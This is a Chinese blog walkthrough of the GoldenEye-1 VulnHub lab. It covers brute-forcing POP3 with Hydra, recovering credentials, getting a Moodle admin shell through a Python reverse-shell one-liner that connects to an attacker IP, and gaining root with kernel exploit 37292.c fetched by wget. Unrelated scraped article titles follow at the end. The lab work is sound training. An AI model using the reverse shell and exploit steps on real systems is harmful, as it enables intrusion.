VulnHub-GoldenEye-1-Walkthrough

  • 一、信息收集
  • 二、渗透——getshell
  • 三、提权

靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/
靶机难度:中等(CTF)
靶机发布日期:2018年5月4日
靶机描述:靶机命名来自詹士邦系列的电影——GoldenEye
目标:得到root权限&找到flag.txt
作者:世间繁华梦一出
注意:渗透所有靶机所使用的技术仅用于教育和分享网络安全爱好者学习,不可用于其他非法活动。

一、信息收集

首先在我的攻击机kali上使用namp对目标靶机进行ip扫描
命令: nmap -sP 192.168.1.0/24

哇!这里扫出同一网段的很多ip地址,到底哪一个才是我的靶机ip地址呢?

发现只有这个MAC地址是VMware虚拟机,所以,靶机ip地址一定就是这个咯!
靶机ip地址:192.168.1.125

然后我们开始探索目标计算机上开放的端口和服务
命令:nmap -sT -T4 -p - 192.168.1.125
图中可以看出,目标计算机上有四个可用的开放端口。由于目标计算机上的端口80可用,我们首先来检查应用程序。我们在浏览器上打开了目标计算机的IP,它显示了一个有趣的页面:
进入后是此页面,最后一行它说进入到 /sev-home/ 目录去登录。
那我们就进去看看

然后果然出来了登录框,太意外了!
但是它还需要输入账号和密码,我们没有啊,怎么办?
我们尝试继续在页面中寻找线索,按F12查看网页源代码,

发现在JS中有一个JS文件,我们去看看里面有什么

发现用户名有两个:boris、Natalya
我们还找到了一个编码字符串,可以在上面的屏幕快照的突出显示区域中看到它。用户评论中提到这是密码。让我们对字符串进行解码,然后尝试使用这些凭据登录应用程序。
字符串:
InvincibleHa ck3r
我使用了burp suite 的Decoder编码解码模块进行解码
得到了密码:InvincibleHack3r
我们来登录一下目标机器的web应用程序

好,登录成功了,它的应用程序页面是这个样子
我们已经成功登陆了GoldenEye应用程序,继续按F12查看此页面源代码寻找有用的信息,最后一段英文翻译是(英文较差用谷歌翻译):
请记住,由于默默无闻的安全性非常有效,因此我们将pop3服务配置为在很高的非默认端口上运行…


检查主页的html内容,从上面的消息中,我们可以了解到某个非默认端口上正在运行一个活动的POP3服务。由于我们已经在第一步中对目标IP进行了完整的Nmap扫描,因此我们已经知道运行POP3服务器的端口:55006、55007,那么这两个端口就有可能是有一个是跑着pop3服务的,浏览器上访问发现是55007端口:

另外,在分析“ terminal.js”的HTML内容时,我们在注释中发现一条注释,指出目标系统正在使用默认密码。因此,让我们尝试使用在上一步中找到的用户名“ boris”,通过Hydra暴力破解pop3服务:
爆破成功
用户:boris 密码:secret1!
用户:natalya 密码:bird

我使用Netcat(简称nc)实用程序通过pop3端口并使用用户“ boris、natalya”凭据登录到目标服务器邮箱中。

这是pop3登录指令学习
这封邮件指出boris的邮件不会在电子邮件中被扫描安全隐患,指出它和其他管理员都是受信任的,这封邮件没什么有用的信息。

接下来看第二封邮件

第二封来自用户“ natalya”,称她可以破坏鲍里斯的密码。

第三封邮件可以看出有一份文件用了GoldenEye的访问代码作为附件进行发送,并保留在根目录中。但我们无法从此处阅读附件。
现在使用natalya用户登录看看有什么有用的信息…
我们可以看到目标计算机上的root用户有一封电子邮件。让我们检查第二封电子邮件。

那我们就接着查看第二封邮件
在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息:
用户名:xenia
密码:RCP90rulez!
域:severnaya-station.com
网址:severnaya-station.com/gnocertdir
我们现根据邮件提示添加本地域名:severnaya-station.com
在上面的屏幕截图中,我们可以看到域名已经成功添加到本地hosts中。因此,让我们在浏览器中打开此URL。

经过如此多的努力,我们终于在目标计算机上运行了web应用程序
刚登陆界面我就看到了moodle,这是一个开源的CMS系统,继续点一点,发现要登陆,使用邮件获得的用户密码进行登陆。
用户名:xenia
密码:RCP90rulez!

登录成功了

进来之后到四处看一看,发现有一封用户名为doak的邮件,进去看看

继续使用hydra攻击
爆破成功
用户名:doak
密码:goat
那么我们继续使用账号密码登上这个用户的pop3邮件去看一看
好,登陆成功了,并且我们成功查看到了它里面的邮件,只有一封
它里面的内容是这样的
邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。
用户名:dr_doak
密码:4England!
使用新的账户密码登录CMS。
那么我们用这个账号去重新登录web应用程序
登录进来我们发现home里有一个文件,并且发现这是moodle使用的2.23的版本。点开这个txt文件看看

里面 的内容只有这么多,我们去谷歌翻译一下看看写的什么
它这里面又有一个jpg后缀 的文件路径,去看看
这个图片打开是个这东西。。。
根据邮件提示让我们检查图片内容,下载图片后,我们可以使用binwalk(路由逆向分析工具)、exiftool(图虫)、strings(识别动态库版本指令)等查看jpg文件底层内容。

这里我们使用图虫exiftool进行图片底层内容的识别
使用binwalk没能查出有用信息,用exiftool和strings解析得到Image Description : eFdpbnRlcjE5OTV4IQ==
很明显这是一个base-64编码的字符串(两个等号表示它是base-64编码的字符串),进行base-64解码得到下面的字符串

获得解密后的字符串:xWinter1995x!
线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。
用户名:admin
密码:xWinter1995x!

嚯,终于进来了,东西真多哇!
进去内容太多了,花了很多时间查看,图片红框显示和我前面使用dr_doak用户登陆邮箱发现的结果一致,这是Moodle使用的2.2.3版本,获得版本名称后,快速到网上搜索此版本可用的漏洞。

二、渗透——getshell

此版本有许多漏洞利用,由于我们需要在目标计算机上进行外壳访问,因此我选择使用远程代码执行(RCE)漏洞利用。
使用我们的神器:MSF

首先进行漏洞利用,查找存在的exp

然后设置所需参数值
设置用户名:admin
设置密码:xWinter1995x!
设置:rhosts severnaya-station.com
设置:targeturi / gnocertdir
设置payload:cmd / unix / reverse
设置:lhost 192.168.1.45
这里不会配置的还是别往下学了,先去学习一下渗透测试神器——MSF的使用。

提权失败,网上搜索看到一篇老外写的Walkthrough,目标主机上不存在GCC编译,只能CC编译,所以在需要把Google Spell编译改成PSpellShell编译。
按道理应该能获取www低权限,经过百度谷歌多方面咨询大神,是因为我kali中MSF版本升级太高,会遇到RCE无法渗透问题,这里耽误了很多时间,心里想着可以getshell了,结果MMP,反弹shell用不了,只能使用内核提权了。
所以只能使用另外的反弹shell方式渗透了

最后找到了解决办法

由于我们已经使用了管理员admin用户登录页面,可以进行网站管理,在页面中找到了Site administration-Server-System paths
网站管理系统路径,发现可以上传代码

这里可以用到python代码,进行反弹shell渗透。
使用代码:python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.182.135”,6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
使用python对本地6666端口上传一个shell,相当于一个木马,我们需要在本地开启端口6666。
成功上传shell
利用nc来反弹shell
命令:nc -lnvp 6666(端口号)

本地开启监听端口后,回到管理员用户页面。

需要找到一个能发送数据包出去的地方,这里找到了能发送邮件的地方,随意填写一些文字即可,点击Toggle spellchecker进行发送shell到本地。
终于获得了一个shell权限,使用python获得的shell权限后,得使用ptyhon获得tty,使用命令:
python -c ‘import pty; pty.spawn("/bin/bash")’
当运行id命令时,它表明该用户不是root用户,这是www-data的低特权用户

三、提权

关于Linxu提权有非常非常多的方法,可以参考学习:
链接: Linux提权学习.
也可以参考我前几天写过的一篇专门来讲提权的文章!
我们可以在上面的屏幕截图中看到我们拥有操作系统和内核版本号,
命令:uname -a
我在Google上搜索了本地漏洞,并找到了几种选择。
使用exploit37292的shell,可以从kali本地中查找,也可以在网上下载shell,我这边在kali上找,然后使用python创建一个服务,通过服务上传37292.c到靶机中。
找到37292.c目录
cp /usr/share/exploitdb/exploits/linux/local/37292.c /*Desktop
复制到桌面。

由于前面说过靶机未安装gcc编译,只能用cc编译,需要修改37292.c编译。
将gcc改成cc
本地开启服务。

使用wget下载37292.c脚本到靶机的tmp目录。

用cc编译,赋予可执行权限后,运行exp。

我们可以看到目标计算机已经获得root访问权限,
根据挑战的描述,目标是得到root权限&找到flag.txt。

今天的博客就写到这里吧,第一次打靶机,感觉难度比较大,还需要继续学习,不断努力,不断进步,太菜了。。。。

NO.1——VulnHub-GoldenEye-1-Walkthrough相关推荐

  1. vulnhub Funbox: 1

    渗透思路: nmap扫描----wpscan爆破网站用户名和密码----joe用户ssh登录并绕过rbash----文件权限777定时任务提权(多个用户定时任务执行同一个文件) 环境信息: 靶机:19 ...

  2. vulnhub靶场GoldenEye靶场

    靶场信息: 地址:GoldenEye: 1 ~ VulnHub 发布日期:2018年5月4日 目标:得到root权限并且找到flag.txt 难度:中级(CTF) hint: Useful to he ...

  3. 【甄选靶场】Vulnhub百个项目渗透——项目一:GoldenEye(密码爆破,图片逆向分析,内核提权)

    Vulnhub百个项目渗透 靶场自取 提取码:rong Vulnhub百个项目渗透--项目一:GoldenEye(密码爆破,图片逆向分析,内核提权)

  4. Warzone: 3 (Exogen) vulnhub walkthrough

    Warzone: 3 (Exogen) vulnhub地址:http://www.vulnhub.com/entry/warzone-3-exogen,606/ 0x01 信息收集到获取shell P ...

  5. Shuriken: 1 vulnhub walkthrough

    Shuriken: 1 vulnhub地址:http://www.vulnhub.com/entry/shuriken-1,600/ 0x01 信息收集到获取shell 服务器只开放了80端口,dir ...

  6. Money Heist: 1 vulnhub walkthrough

    Money Heist: 1 虚拟机页面:http://www.vulnhub.com/entry/money-heist-1,592/ Description "The Professor ...

  7. vulnhub Earth:解题思路

    靶场下载地址: The Planets: Earth ~ VulnHubThe Planets: Earth, made by SirFlash. Download & walkthrough ...

  8. VulnHub日记(八):Hacker Kid

    靶机介绍 参考链接:Hacker Kid Walkthrough - Vulnhub - Security - NepCodeX 虚拟机链接:Hacker kid: 1.0.1 ~ VulnHub 开 ...

  9. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  10. Goldeneye靶机实操

    Goldeneye靶机实操 信息搜集 webshell 用户提权 新手上路 请多多指教 信息搜集 接好靶机 发现IP为:192.168.8.144 发现 80端口开着 试试打开 用户是Boris无疑, ...

最新文章

  1. 40个常用的网站制作技巧
  2. pytorch多gpu并行训练操作指南
  3. ng2中router-outlet用法
  4. eclipse 插件,直接打开文件路径
  5. c++面对对象设计 2
  6. FCKeditor 2.6.4.1 初始化值不能显示中文问题
  7. java 文件夹不存在的解决方案
  8. 从工作到创业迈开这一步很艰难吗
  9. 微信支付JSAPI掉不起来支付按钮是什么原因?(原创)
  10. NodeJS基础2---1 Promise小球运动
  11. efi文件错误服务器崩溃,[转自百度]关于系统安装时候弹出提示winload.efi文件损坏...
  12. switch【茶杯头xic】破解xic文件下载
  13. 工作中如何进行接口测试
  14. pixhawk硬件设计粗略解析
  15. Photoshop抠图(用调整边缘命令抠图)
  16. BUAA(2021春)大作业—— 文本摘要生成(数组字典树+快排=0.087s)
  17. table表格锁定任意数量列或行
  18. EDM电商邮件营销模板设计规范流程
  19. 电商路演投资计划融资报告PPT模板
  20. 【iOS-UIImagePickerController访问相机和相册】

热门文章

  1. Toast分析——实现自己的Toast
  2. Microsoft SQL Server 2008 R2(Microsoft SQL Server,错误: 2)
  3. 今天是国际数学日,既是爱因斯坦的生日又是霍金的忌日
  4. DSX2-8000如何校准?校准流程?
  5. onlyoffice安装之二:centos7安装
  6. 《电子测量与仪器学报》杂志投稿总结
  7. 为什么结构方程模型路径系数很大却不显著?
  8. 古希腊神话故事:狄俄尼索斯
  9. 改进的booth编码实例
  10. 大学生计算机学习计划2000字,2020学年大学生新学期学习计划2000字